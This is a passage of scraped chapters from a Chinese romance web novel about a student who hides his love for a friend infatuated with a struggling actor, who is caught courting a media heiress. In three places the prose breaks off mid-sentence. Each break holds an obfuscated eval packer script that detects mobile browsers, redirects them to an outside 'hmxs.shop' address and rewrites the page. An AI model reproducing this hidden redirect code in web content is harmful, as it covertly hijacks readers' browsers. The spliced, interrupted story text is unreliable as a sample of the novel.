常桦回过来的消息…… 商恪景眼睫接连抖簌几下。 也是很正常的交涉,不装傻不逃避,应该是个虞千绾想要的答复,他看着却很不是滋味。 [不好意思千绾,这是我公司发给你家公司的??] [我第一次看到这个内容,现在很懵,公司没有跟我说过,我不清楚具体情况,马上就去找经纪人,问清楚会给你一个答复。] [至于这封邮件,非常抱歉,我知道自己几斤几两,不可能成为品牌代言人的,不会对此有什么奢望。] [虽然并非我本意,但还是给你造成困扰了,对不起] 13. 第 13 章 “詹姐,你这是什么意思。” 常桦冷着脸连门都不敲就径直闯入经纪人詹姝瑗的办公室,话腔沉沉绷着,眼底涌动着一触即发的怒火,大步向前将手机里虞千绾发来的邮件内容正对着她质问。 詹姝瑗正对着电脑在忙工作,常桦完全没个征兆地闯进来让她略有些不满地皱了皱眉。 看着常桦跟着怼上来的手机屏幕里的内容,她知晓了常桦怒火的来源,但并不当回事,更为寡淡的“哦”了声后就移开了视线,继续淡定看着电脑屏幕处理工作,“那边已经拒了。” “你为什么要发这样的邮件,这让别人怎么想?又让虞千绾怎么想我?” “不然呢,你还有别的办法能得到资源吗?” 常桦被反问的一噎,气焰兀地低了些。 不仅因为他答不上来,更因为詹姝瑗并非只是他的经纪人,还是公司的老板,她大多时候是个温和的人,对签下的艺人皆很上心,可一旦表现出不那么温和的一面,无形的气场便会压来,往日营造的平等朋友关系会瞬间被不那么平等的老板和员工身份取代。 艺人需要詹姝瑗给资源,都不敢得罪她,常桦自也是其中一员。 喉结微滚,他再开口的声音轻了许多,也没什么戾气了,“……詹姐,我只是不想这样,而且您也没提前跟我说过,我乍然得知很意外。” “是不想还是见虞千绾没同意感到窘迫?” 詹姝瑗暂停手头的工作,波澜不惊的眸正对向常桦,毫不留情地戳穿他的内心,“常桦,这话我想跟你说很久了,人不能既要又要。你清楚虞千绾给你带来了不少机会,对这样的富婆你就该好好巴结她,你若是真像你刚刚所说不想那样就该一开始拒绝她。如果你依旧这样保持着没必要的清高和自尊,却又沉默接受着她对你的付出,那你有什么资格站在这里质问我?” “常桦,你这样特没意思,拿不起放不下,得到了一些东西又得到的并不多。” 常桦哑然,已经一个字都说不出了。 “徐正谊新剧小出圈的事你知道吧?” 詹姝瑗话题忽转,常桦一怔,更是哑了火,讷讷嗯了声,头彻底没什么底气地垂了下去。 徐正谊是比常桦迟了半年进入公司的艺人,两人因为外貌条件相似,常去面试同样的角色,竞争同一个资源。虽然面上装的关系融洽,其实心里都把对方当做敌人,只不过两人都很糊没什么成绩,所以那种敌对情绪并没太浓。 但就在半月前,徐正谊作为配角出演的一部小网剧居然火了。 谁都没想到那样一部小成本投资的网剧能播出这样好的效果,还被业内和网友们称为“小黑马”,连带着徐正谊这个男三号都跟着出现在大众视野里,瞬间就甩了常桦一大截。 詹姝瑗直截了当道:“后续我这边好的资源都会向徐正谊倾斜,你要是想拿好的资源,自己多跑跑剧组面试争取机会。当然,我这边如果有想接触徐正谊但他不要的资源,我也会推荐你,但不会再像之前那样把你和徐正谊放在同一梯队中。” 常桦闻言,心顿时凉了半截。 他签约经纪公司就是因为自己不擅长人脉交际这块,希望有人从中牵线搭桥。而今詹姝瑗这话一出,对常桦而言无疑是一记重拳,不仅是因为涉及到自己的短处,更因为“徐正谊不要的资源”这几个字。他想说些什么为自己做最后的争取,但詹姝瑗抢先开了口制止他。 “常桦,我自认对你们一视同仁,这些年来待你不薄,但同样的资源砸下去,徐正谊火了,你没有,便不能怪我。后续为了公司的未来发展,我这边肯定要把好的资源都给到他增加曝光度稳住他的热度,所以你也不用再说什么,毕竟我开公司是为了赚钱,不是做慈善,他更有价值,你与其靠嘴皮子跟我说什么,不如用事实证明你的价值超过他,真到那天,无需你多说什么,我也会为你争取更宽敞的道路达到双赢的局面。” “常桦,这些话我本可以不跟你说的,跟你说这些你反倒可能把我当恶人在心里怨怼我,但是常桦,我希望你明白,你已经身处于社会中了,你那些名为清高实际却是自卑的矛盾举动不切实际,与人交际不等于自甘堕落,许多行业都需要应酬合作,我们这个行业也需要。你运气算好的了,有虞千绾这个大小姐的喜欢,还有锦凡娱乐那位抛出的橄榄枝。你如果能适应在娱乐圈继续默默无闻的日子,那你可以继续维持着你那浮于表面的清傲,当我什么都没说过。” - 虞千绾从商恪景口中得知常桦的回复时,心头那些胡乱的情绪瞬间消散,整个人原地满血复活。虽然还没得到常桦询问过经纪人后的回复,但心已然安定了下来,刚刚没什么兴致吃的川菜现在吃得香到不行。 郁色从她的脸上转移到了商恪景脸上。 他对着虞千绾那小幅度摇晃着、开心的很明显的背影无声翕动着嘴唇吐槽:“虞千绾,大笨蛋。” “哎,对了。” 虞千绾也不知想到什么忽地扭头,商恪景秒变脸,瞬间堆上的笑满是殷勤,“什么?” 这么说话费劲,虞千绾索性把椅子搬到了桌子另面对着商恪景坐下,隔空面对面同他继续道:“今天邢老师说你论文的重点我都记下来了,现在发给你,你看看,有什么不懂的你说,当面聊起来方便。” “啊……” 商恪景长长哀叹,“虞千绾你饶了我吧,我都这样了,被你馋还不够,还得学习,双倍痛苦。” “那你后面问我,我如果忘了你别怪我。” 虞千绾在备忘录里的那些内容都是根据老师的话现场简记的,她不确定过个几天她还能不能完全复述出来老师的话,不过—— 她眼珠一转,不坏好心但却分外愉悦地笑说:“商恪景,我突然想到你要是论文没过其实挺好的,这样你就可以留校再读一年,那你肯定就不用去永誉上班了!是不是好有道理?” 商恪景白她一眼,没好气,“哇,真是好棒的建议呢,就是会被我哥再抽一顿,我谢谢你啊。” 虞千绾顺着他的阴阳怪气就扬着灿烂的笑往下接,“不客气~” 清楚她此刻幼稚的好情绪因何而来,商恪景只觉心口闷闷的,一语双关地咕哝了句:“笑个屁。” 然而某人却只能读出其中一种情绪。 也幸好,她只能读出一种。 - 商恪景的伤养了半个月才相对自如些,没那么多需要注意的地方。 为了给商恪景庆祝伤愈,虞千绾决定请他吃顿大餐。 商恪景想吃爆辣火锅,但虞千绾觉得他的伤口还没恢复到这种程度,最好还是得忌辛辣一段时间,起码不能吃那么辣的,于是提说吃些相对清淡些的,商恪景不肯,要吃的全是些辣口的,最终被虞千绾暴扣了一下后脑勺才老老实实选择去吃西餐。 然而在虞千绾看不到的地方,商恪景摸着后脑勺的短发,唇角疯狂上扬,满脑子都是虞千绾因为担心他伤口而拒绝的话和神情。 这一阵,虞千绾大多时候独自一人吃饭,常觉孤寂,今日饭搭子正式回归,她心情大好,点了很多餐,商恪景心情也很好。 两人正交谈甚欢时传来了让人不太愉快的消息——虞昭音让虞千绾过些天代表虞家去参加周家小女儿的成人礼宴会,而她跟周家大女儿周映灵关系极差。 更糟糕的消息是,商家和周家没什么交集,商恪景不可能受到邀请去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16223413|181625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她还得另找朋友结伴。 “啊……” 虞千绾忿忿用叉子插住一小块牛排塞入嘴里疯狂咀嚼,“好烦好烦好烦,人到底为什么要长大?我怎么都到了替家人出面参加宴席的年纪了?” 商恪景看着虞千绾化悲愤为食欲将两个腮帮子都塞得满满当当的可爱样,不禁轻笑声揶揄,“你到时候就像今天这么发挥,使劲吃吃吃,把她家吃穷。” 虞千绾咀嚼的动作一停,眼帘微掀,哀怨望他,水汪汪的一双大眼睛眸波带嗔。 商恪景直视着这么双眼睛,心脏很难不泛起涟漪,话腔都陡然温了下来,“好了好了。” 掌心痒痒的,很想搭在她发顶揉一揉她柔软的发,但却不能,他轻咳声清了清莫名也有些虚无痒意的嗓,继而宽慰,“那天毕竟是她妹的生日,她肯定会收敛些的,不会跟往常一样,而且宴会场上那么多人你们都不一定能碰上,大不了你到时候就找个角落待着一直给我发消息聊天,当做换个地方玩手机了。” 谁想在那地方玩手机,一点都不舒服…… 心中这么腹诽,但事实没法改变,虞千绾只能让自己多顺着商恪景的话去想让自己舒服些,不然怕是很影响她这几日的好心情。 商恪景岔开话题转移她注意力,“对了,正卿也这段时间要回国,约我聚着玩呢,你到时候要不要一起?” “算了吧,他喜欢攒男生局,总是没几个女生,而且那些环节我也不是很喜欢,还不如自己窝着舒服。” 虞千绾掰着手指头算,“更何况我后面还挺忙呢,得去参加宴会,国庆还得去拍vlog准备正式经营新号,论文也得带着写,期间学校偶尔还有几节课。” 商恪景双手端起饮料杯做了个敬酒的姿势,“千绾总,您辛苦了。” 虞千绾忍俊不禁,单手举起酒杯迎上去和他酒杯碰了下,“恪景总您也不赖啊。” 两人太熟,以这种官方的称呼唤对方,身形双双笑到轻颤,脑袋笑到不自觉埋下就快要掩到臂弯间。 与之同时,常桦那边也收到了同样的邀请函。 是周映灵本人发来的。 常桦习惯性敲下的回复带着难辨远近的意味,让人既感觉是礼貌又感觉有些别的意思。 经纪人的话还在脑海里久散不去,常桦准备按下发送键的手指却忽转了方向,按下了删除,眼睁睁看着原本的那串文字一个一个消失。 这半个月的时间,常桦过得极不舒坦。 虽然他作为网红的工作和生活没有太大变化,但作为演员的生活却有着翻天覆地的变化,曾经和他表面上虚以委蛇的徐正谊现在压根拿他当个透明人,比常桦设想的那些炫耀还要令他难捱,因为他彻底被徐正谊剔除在竞争者的行列,甚至悬殊太大都没什么显摆的必要。 身边接触的人依旧如往,就是偶然认识些新人,一听到他的公司名字就说“哦!徐正谊的那个公司对不对?你俩原来是一个公司的啊,他最近可是势头正盛啊。” 每每听到,常桦心头都会被冷不丁冲击到,自卑敏感又嫉妒。 经纪人对他的关注度也明显少了许多。 而周映灵无疑是能帮他扶摇直上的人物,她家里就是开娱乐传媒公司的,是国内有名的大公司,旗下不仅有多位知名流量艺人和实力派,还有专门负责影视制作的顶尖团队。 急于求成的贪念终究是更胜一筹,常桦重新敲下一行字:[周小姐,很高兴能够参加妹妹的成人礼,不知道她喜欢什么,有时间一起出去逛逛吗?我想给她挑个礼物。] 打完,却迟迟没发送。 半分钟后,常桦手指又动了起来,他将前三个字改为更亲近的——映灵。 14. 第 14 章 薄正卿回国的第二天,商恪景依着约定早起打算出门。 因为时间还早,他觉得虞千绾九成九没醒,但还是没忍住给她发了条消息试探:[醒了没?] 哪知就在玄关处低头穿个鞋的功夫再抬起头,那仅存的零点一成小概率事件竟发生了——手机响起声消息音,虞千绾回复了个人机般的1。 商恪景抬了抬眉,边打字边推门往外去: [这么早醒了?] [那我过去找你] 虞千绾那边回了个OK的表情包:[我在卧室还没起,你直接过来就行] 商恪景踏出家门,反手关上门,而后转个身走几步就到了虞千绾家门口,手指娴熟输入她家门密码,解锁推门进入。 他俩都很放心彼此,没在这方面设防,但起初也没特意想着告诉对方密码,就是后面相处间互相串门的频率太高,他们嫌反复起身开门麻烦,加之有时没及时看到消息害得对方多等,便把密码告诉了对方方便对方随时进来,也省得自身窝着不想动的时候还得起身开门,反正从门口进来先看到的是玄关和客厅,也不会一个不小心看到什么不该看的。 因为虞千绾的消息,商恪景径直去到了她卧室门前,先是叩了叩再将门推开半人缝的空隙。 虞千绾明显刚醒不久,窗帘都没拉开,屋内就开了盏昏黄的床头灯,光线很弱。 声音也掺着淡淡的闷哑感,“你不是要去跟薄正卿玩吗?怎么这个点过来找我?” 商恪景就站在卧室门口同她讲话,没进去,“马上就去,来问问你想吃什么,晚上我给你打包点带回来。” “嗯……” 虞千绾刚睡醒不太饿,冷不丁被问想吃什么,一时间也想不出来,思忖须臾选择放弃,“你看着带吧,反正我喜欢吃什么你都知道,辣口的就行。” “成。” 这些话商恪景不是不能从消息问她,但如果能面对面聊,他毫无疑问选择后者。 前段时间因为背伤在爸妈家住了好一阵,虞千绾虽然也隔三差五去看他,但比之先前邻挨邻住着的频率低了太多,商恪景非常不适应,就跟患上了名为虞千绾的分离焦虑症似的。 所以搬回校外小区居住的这几天,他格外黏虞千绾,哪怕两个人待在一块不说话不做什么,只是各玩各的手机,他也要窝在她身边玩,这样一抬眼就能看到她。 哪知这还没过几天好日子又要大半天见不着她,若不是兄弟那边刚从国外回来,他们又许久没好好聚过,他是真不想去出去。 商恪景本都做好出发的准备了,眼下在这个时间点完全出乎意料地跟虞千绾碰面,脚下就像被胶水黏住压根不想走,顺势又跟她寻话题开始聊,“稀奇了,今天又没课,你怎么醒这么早?” “过些天不是事多比较忙嘛,我就想趁着这两天空闲问问学长有没有时间一起出来玩,凌晨给他发消息的时候他睡着了没回,我就一直惦记着他什么时候睡醒给我回复,所以睡得不沉,总是迷迷糊糊想拿起手机看一眼。” 商恪景被门挡住大半轮廓的脸在听到“学长”两个字的瞬间就垮下,听着虞千绾的念叨,他只想狠扇自己一嘴巴,他就不该问,自寻苦吃。 虞千绾叹了口气,“但是就在你给我发消息前几分钟,我收到了学长的回复,他说要到处跑剧组面试,没时间,我只能惆怅一会儿再继续睡了。” “那正好,你就在家等我晚上回来给你带海鲜,肯定比跟他出去玩舒服,今天热死了,外面一点都不好玩。” 事已至此,虞千绾还能说什么,她别无选择,只能宅在家等待商恪景晚上的投喂了。 - 薄正卿攒的局是在他的私人游艇上,商恪景戴着墨镜到达时,薄正卿上来先给了他一个大大的拥抱。 比怀旧话先到来的是薄正卿朝商恪景身后张望的狐疑眼神,“咦,你家那活爹祖宗呢?没一起来吗?” 薄正卿是很认真的在问,发自内心的随口而出。 因在他的记忆里,商恪景和虞千绾就像是对连体婴,对外参加的朋友聚会都是要来一起来,要不来都不来的那种。而商恪景对虞千绾百般纵容,于是有了“活爹”“祖宗”这类指代。 但这种字眼听着委实充斥着揶揄,商恪景单手勾住墨镜中梁向上稍稍挑起一截,露出那双睨去的眼,“去你的。” 话落,他就松下了指,墨镜又稳稳架回高挺的鼻梁上遮住那双看似痞渣的桃花眼。 薄正卿转身与商恪景并肩而行,胳膊一抬没个正形地将手搭在他肩上,懒懒散散的边往里走边感叹,“不是吧兄弟,我都出国留学回来了,你的恋爱进度条怎么还不进反退啊?” 商恪景抓住薄正卿的手丢开,没好气扫他眼吐槽句“滚啊”就大步流星地往游艇去。 商恪景喜欢虞千绾这事在身边关系近的兄弟面前完全没有遮掩的余地,薄正卿尤其,他们三人算是发小,打小就相熟,薄正卿和虞千绾的关系也不赖,所以薄正卿很清楚异性朋友之间的亲近关心程度在哪,也更明了商恪景对虞千绾所谓的发小情谊有多虚假。 商恪景平常从不否认对虞千绾好,对她特殊,因为虞千绾也会大大方方承认商恪景是她关系最好的朋友,他自然也能大方承认,虽然他在其中怀揣了自己的心思。 但一到涉及异性感情的话题,商恪景就总会挑开话题,或以些无关痛痒的话带过,再或是装傻沉默,可这些举措骗不过清醒的旁观者。 薄正卿虽没从商恪景口中明确得到过“我是喜欢她”这类回复,但已经默默在心里这么认为很多年了,且如此直白与商恪景沟通。 起初,商恪景依旧嘴硬,并不理会薄正卿的话,但时间长了以后,时不时暗恋酸楚需要些纡解便会忍不住顺着薄正卿的话腔隐晦说些。 渐渐的,两人也就习惯了这种沟通方式。 嘴上不明确提,但皆心知肚明。 - 薄正卿日常是个很欢快,很喜欢交朋友的人,这次终于从国外回来,邀请了不少昔日关系近的朋友来游艇上聚,就当是接风宴。 游艇上都是熟悉的朋友,氛围欢快热闹,商恪景玩得也挺开心,但就是情不自禁的会想起虞千绾。 会想她如果在就好了。 想她如果在这应该很喜欢哪里的风景,会让他给她拍照。 想她会用她那双有神的大眼睛与他对视着笑闹。 想她…… 当下这个年纪,他们基本都是熬夜选手,晚上不睡早上不起的,今天来参加薄正卿接风宴的大多都没睡好,皆是一早硬撑着起来的。 玩了一通后倒了一小半人,困倦到不行地喊着爸爸求饶说自己得去睡会儿补觉了,不然小命就要葬送在此了,这类人很可能玩了个通宵就没怎么睡然后直接来游艇聚会的。 商恪景倒没困到那个程度,但吃完午饭后脑袋也有些想宕机,没那个精力再跟兄弟们嗨,于是自顾自找了个安静的地方待着。 估摸着这个点,虞千绾应该补完觉醒来了。 心念已久,商恪景掏出手机就点入微信,但真对着聊天框又犯了难,不知道该发什么才显得自然,思考的食指在手机侧缘一抬一落地轻敲。 日光照射到海面上,泛起一片闪到刺眼的波光粼粼。商恪景余光扫到,突然收获灵感,当即将手机软件切换为相机,而后将手机横过来将自己和海景一起容纳在屏幕里自拍。 隔着玻璃窗户拍总觉得差了点什么,商恪景找了几个角度都不太满意,索性找了片被阴凉覆盖着的甲板靠坐着超绝不经意凹起了姿势。 “咔嚓——” 拍了一张。 手机上的画面定格,商恪景饭后晕碳发懵的脑袋都陡然清醒过来。 画面中的自己实在太刻意太造作,商恪景被自己的表情尬到地呛咳了声。 光速删掉照片,重新找角度拍摄。 奈何怎么拍都不满意,甲板上又吹不到空调,商恪景都快要被逼出一身的汗,但难以辨认究竟是热得还是急得。 商恪景今天上身穿的是件半拉链款的纯黑色宽松短袖,拉链底端在胸口的位置,但他自然没拉到底,链头就随意吊在中间,居于差不多与锁骨齐平的位置。 嫌热时,商恪景手指抓住衣领往外扯了扯灌了些风进去试图散散热。 这期间,他的右手还持着手机对着自己寻找着好看的角度。 倏地,商恪景移动着的右手一停,揪着衣领的左手也顺势将衣领朝外又拽了一小截——冷白的皮肤上,平直嶙峋的左侧锁骨上,一枚虽小但黑的浑圆小痣分外惹眼。 鬼使神差的,他脑子里冒出了许多虞千绾昔日说的话: 「“商恪景,你看你看,学长眉尾的这颗痣是不是超会长!好性感啊。” “救命,这个网红的锁骨痣好涩啊,跟他那张冷淡的脸形成了强烈反差!!” “啊啊啊啊,你看这部剧!男主居然有一粒浅棕色的指尖痣,给女主讲题的时候顺势按在她桌边,看着有种纯情的欲感!”」 …… 她似乎对痣有种特殊的偏爱,明明那么小那么没有存在感的痣,在她的眼里却总能无限发散,说出一堆他感知不到的形容。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16233895|181625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 商恪景指尖沿着衣料边缘往里滑了些,将衣料挑得更开,露出完整的痣,通过手机屏幕看了片刻,他觉得自己的锁骨痣也不赖,反正比常桦那狗屁眉尾痣好看,常桦那眉尾痣都要被眉毛挡光了,没他的痣显眼漂亮。 想着想着,商恪景有些飘,还有些浪。 他突然发现如果把拉链再往下拉一些,胳膊动作稍大一点能故作无意露出锁骨那片肌肤和其下若隐若现的肌肉线条。 他至今耿耿于怀虞千绾来医院看他时他没穿上衣的事,不知虞千绾对他身材的评价究竟如何。 当下或许是个挽回形象的好机会,最重要的是,让她发现他的异性魅力。 商恪景彻底摁不住自己蠢蠢欲动的心,跟做贼似的边瞄着甲板入口处怕有人过来发现无情嘲笑,边将拉链往下拉了一小截。 好在并没人愿意过来这里——天热,大家都想待在被冷风覆盖的舱内,外面虽然能吹到海风,但这个天气吹到的海风没什么浪漫惬意,只有卷来的一层一层热浪。 生怕被兄弟抓包,商恪景这次拍照速度快了很多。 他将墨镜往脸上一遮,就不需要太注意表情,主要把含着小心机的身材、锁骨痣露出来就行,再把身后做掩的海景一起装入镜头。 因为经常和虞千绾出去旅游,给她拍美照,所以商恪景拍照技术算是练出来了,还挺不错,P图也会点,但怕太刻意被虞千绾觉察到,所以他只暗戳戳加了点不易觉察但能显得更有氛围感的滤镜。 [看!] [照片] [风景不错吧] 商恪景满揣着忐忑把照片夹在两条文字消息里发出。 照片里的他短发被风吹到拂起,自由惬意但不显凌乱,单臂张着,所以左肩那截衣料朝侧微微敞开也显得自然,唇角勾着的笑恣意且张扬,整张照片都透着扑面而来的朝气,商恪景自觉还挺满意,否则也不会把这张发给虞千绾。 不过两秒,聊天框顶端就浮现出【对方正在输入中】几个字,商恪景一口气提了起来,不自觉屏息,目不转睛盯着左下角等着虞千绾的回复。 [噗] 入眼先是这么条消息。 跟着,虞千绾引用了商恪景的那张照片,非常直白道:[商恪景你好风骚啊,现场难不成有你感兴趣的女生?瞧着好浪荡,香肩小露(挤眉弄眼.emoji)] “咳——” 现实与幻想的差别太大,商恪景感觉心口被人狠狠锤了一拳,但不疼,纯气,气得他想呕血。 商恪景一秒撤回那张照片,心里虚到不行,面上却佯装成往昔的腔调回怼过消息。 虞千绾自然也不甘示弱,持续嘲笑着他那张照片也太装模作样,像个绿茶男。 无聊的对话最后以虞千绾说要去追剧了告终。 商恪景一头抵在游艇壁边,啄木鸟似的一抬一落轻砸了几下,还伴随着心如死灰的低嚎。 事与愿违。 彻头彻尾的事与愿违。 他完全没想到的走向。 甚至于—— 她都发现他在露肩,还说他是绿茶男。 都没有意识到他在勾引她。 商恪景彻底哑了火。 她可真是一点不拿他当可发展的异性对象,纯关系铁的朋友。 …… 因为这么个插曲,商恪景一下午都没什么心思玩了,心绪格外郁结。 游艇活动结束时,他第一个下了游艇,狠狠伸了个大懒腰舒展身心。 晚上的局,薄正卿定在私人会所。 商恪景提着在游艇上特意给虞千绾打包的餐食跟着大伙一起转场。 商恪景背伤还没完全恢复好,酒能忌则忌。 兄弟们知道他有伤也不勉强他喝,反正大家在一块开开心心的就成。 一行人刚到私人会所门口,说说笑笑要往里进,却正见一行人出来。 他们站在侧面,且离门口还有一截,并未直接和那行人打照面,但圈子就这么大,高端私人会所也就那么几家,很容易遇到熟人。 这不,那群渐行渐远的人里就有熟人,“诶,那不是周映灵嘛,她好像也刚回国不久。” 商恪景听着耳边的话,顺势抬眼看过去。 本只是轻扫而过的一眼,却在看到一张熟悉面容的瞬间定住。 常桦? 商恪景神情骤变,眉头拧起,脚步也顿住。 虞千绾今早不是还约他,他说要去剧组面试角色没空出来吗? 现在怎么跟个狗腿似的巴巴跟在周映灵身边? 15. 第 15 章 想着商恪景晚上回来会给她带吃的,虞千绾便没让阿姨过来做晚饭,也没点外卖,就窝在沙发上边听剧边用手机剪辑着常桦的视频。 家门口突然响起输密码的声音,想来是商恪景回来了。 虞千绾霎时就有了饥饿感,一秒将手机灭了屏丢在一旁,扭过身双手都扒在沙发背上,满眼期待望向玄关坐等他和丰盛晚餐的出现。 门被从外拉开的声音与商恪景的声音一同响起,“虞千绾!” 他似乎很急,一刻都等不了的要让她立刻知晓,但语调给人的感觉又并非是真出大事了的样子,喜惊各有。 “咋了?吃到什么大瓜了?” 虞千绾下意识这么想,毕竟和朋友聚会最容易吃到瓜了,他们每次参加完聚会回来都能延伸出无数话题聊好久。 从某种程度上来说,虞千绾的猜测是对的,但她没料到,瓜与她自己有关,还在那睁着一双水灵灵的大眼睛好奇又激动地看着门口。 对上这双眼,商恪景直冲的情绪骤跌,突然一个急转,“……等一下,我换双拖鞋。” 刚刚太急于想让虞千绾知道常桦的真面目,商恪景连鞋都忘了换,此刻借由蹲身换鞋的动作合理避开与虞千绾的对视,倒是个让他缓冲捋腹稿的好时机。 虞千绾不知情由,只觉被商恪景吊起了吃瓜的八卦心,登时将在沙发上盘着的腿放下,踩入拖鞋往玄关处迎,“你说呀!换鞋又不耽误嘴巴。谁啊谁啊。” 虞千绾雀跃的声一个劲地往耳朵里钻,惹得商恪景回来路上的那点暗喜都消失无存,反而有些微妙的负罪感。 他对常桦不满已久,并非单单出于情敌的心思,任何一个珍视虞千绾的人详细知晓了她与常桦的相处模式都不会想让她继续吃亏下去,商恪景虽未和常桦真正认识过,但他从虞千绾的描述、日常状态中、账号视频里将常桦这个人了解了个七八成。 不可否认,常桦对虞千绾绝对是特殊的,也给过她不少明里暗里的回应,不然不可能把虞千绾迷得晕头转向,一直深陷其中拔不出来。但作为旁观者且是个男人了解男人的商恪景不认为这是喜欢,就算有,程度也太浅太浅。 利用、虚荣、价值……每一个的优先级都要高于喜欢本身。 奈何没有实证,商恪景也不能光靠着感觉去说常桦这人不行,定会惹得虞千绾不高兴,最后反倒影响了他们之间的关系,所以这些年商恪景都没提过,只会在看到自己珍视的她在别人那不被珍视时窝窝囊囊在心里给常桦扣成负分。 但在今天,他亲眼看到了常桦脚踏两条船的行为。那一秒,他是恼火的,紧跟着,又有些高兴,他想,如果把这些告诉虞千绾,以她的性格一定就不会再喜欢常桦了。虽然刚知道的那段日子会有些难熬有些伤心,但长痛不如短痛,早认清早割舍为好。 而且这样,她收回了放在常桦身上的注意力是不是就能多看到他一些…… 大抵是因为自己的心思不够纯净,掺杂了私心,在被虞千绾澄澈的眼睛笑望着时,商恪景本能地想要躲避,喉咙有些发不出声来。 但换鞋拢共就那么点时间,鞋子换好,他不得不直起身抬起头面对。 虞千绾觉察出商恪景的表情微微有些不对劲,笑颜渐收,担心又疑惑地将他上下打量了一圈,“……怎么了?” “你今天还联系过常桦吗?” “啊?” 虞千绾眉眼间困惑之色更甚,但还是老老实实回答,“有。我下午问过他去剧组面试的怎么样,顺不顺利。” “他说什么?” “他说还行。” “几点的时候?” 商恪景一个问题接着问题,语气和眼神都透着不同寻常的意味,听得虞千绾心头莫名有些慌,也更不解,“啊……你为什么突然问我这些?” 四目交视间,空气静了刹那。 喉结缓而重地滚了下,商恪景声音轻了些,坦诚道:“我今天遇到常桦了,不在什么剧组,在会所门口。” 虞千绾眼睫颤了下。 “我亲眼看到,他是跟周映灵一起出来的,他们俩之间的举止超过平常朋友的边界。而且我特意打听过了,周映灵是中午之前去的会所,在那跟人玩了大半天,一直到晚上才退了包间离开。我不知道常桦具体是几点去的,也不知道他究竟是去过剧组面试完再和周映灵待在会所玩还是压根没去剧组面试只是找借口骗你,但可以确定的是,他有旁的心思,不然他为什么有时间和周映灵在一块玩却拒绝你的邀约,并且还不敢直白告诉你?” 消息来得太快太突然,虞千绾脑袋一阵嗡嗡,有些头重脚轻跟做梦似的,但商恪景表情认真,没有丁点开玩笑的意思,她怔怔回望着他,脑海里闪过无数个画面和念头,但却抓不住任何一个,乱糟糟的。 默了须臾,理智被强撑着拽回些,“……你是几点看到他的?” 商恪景点开手机直接将和司机的聊天记录递到虞千绾面前,“我看到常桦就立即联系司机回来了,就隔了半个多小时的车程时间。” 虞千绾视线短暂眩晕了一秒,她重重闭了闭眼又迅速睁开,看清楚商恪景给司机发消息的时间点后转身往沙发去,弯腰拿起自己丢在沙发上的手机,面部自动解锁,她手指一滑,页面自动停留在她上次最后使用的页面——给常桦剪辑视频的软件。 顾不上保存剪辑好的内容,虞千绾直接切换页面进到微信查看常桦给她回消息的时间。 约莫两小时前。 虞千绾心脏宛若坠入冰冷的深潭,“我问问他,看看他怎么解释。” 她刚欲打字,商恪景的手从侧却横了过来,径直盖在了她手机屏幕上阻止了她的动作,似有些无奈的,他先是这么低低唤了她一声:“千绾……” “都这样了,你还信他的话吗?你给他发消息询问就像是没有证据的警察问犯人到底有没有犯罪,犯人怎么可能会承认?” 商恪景只气自己当时没直接拿出手机拍下常桦在周映灵身边的嘴脸,让虞千绾看清楚她眼里的那个高洁的学长有多么的庸俗。 “商恪景……我现在很乱。” 虞千绾声音轻得细若蚊吟,声线干涩绷着,“他没在今天拒绝我邀请的时候说实话我肯定是不高兴的,我也知道即使从他口中问出了答案也只是严重程度高低的差别,但我和他毕竟认识这么多年了,这种时候,我还是想听他亲口说。” 是了,一段关系的开始还是结束,都该由关系的当事人处理,是他这个在他们关系中的外人操之过急。 唇瓣抿了抿,缓缓从手机上抬起的手却格外沉,商恪景艰难将手重新垂回身侧,就在那刹,指间有些难自控地隐隐发颤。 他当即将手背在了身后,手指紧紧勾缠在一起,因为用力,手指颤得更厉害,血色也褪去泛起了白。 轻吁口气,虞千绾自己都难以琢磨自己的具体情绪,指尖也有些发木地敲下一行字发送:[学长,你现在还在剧组面试吗?] 这种时候等待的时光才是最难捱的,幸而常桦并没拖延很久,半分钟左右就给了回复:[嗯,刚结束。] 虞千绾就不是个能隐忍试探的性格,话头一开便没那耐心,直白戳穿:[刚结束?可我朋友说在会所看到你了。] 虞千绾本以为,这条消息发出去常桦会慌乱向她辩解,抑或会好一阵不回复思考对策,不料,常桦那头转瞬就出现【对方正在输入中】几个字,字消失的时候,新消息弹出: [嗯……你也知道最近全公司的注意力都放在徐正谊身上,我只能自己多跑跑剧组多接触些人脉] [今天去会所是锦凡娱乐的小周总攒了个局,现场有不少导演和制片人,也去了不少演 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16261249|181625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 员,想着如果能得到他们的赏识,说不准就能有个不错的戏拍。] 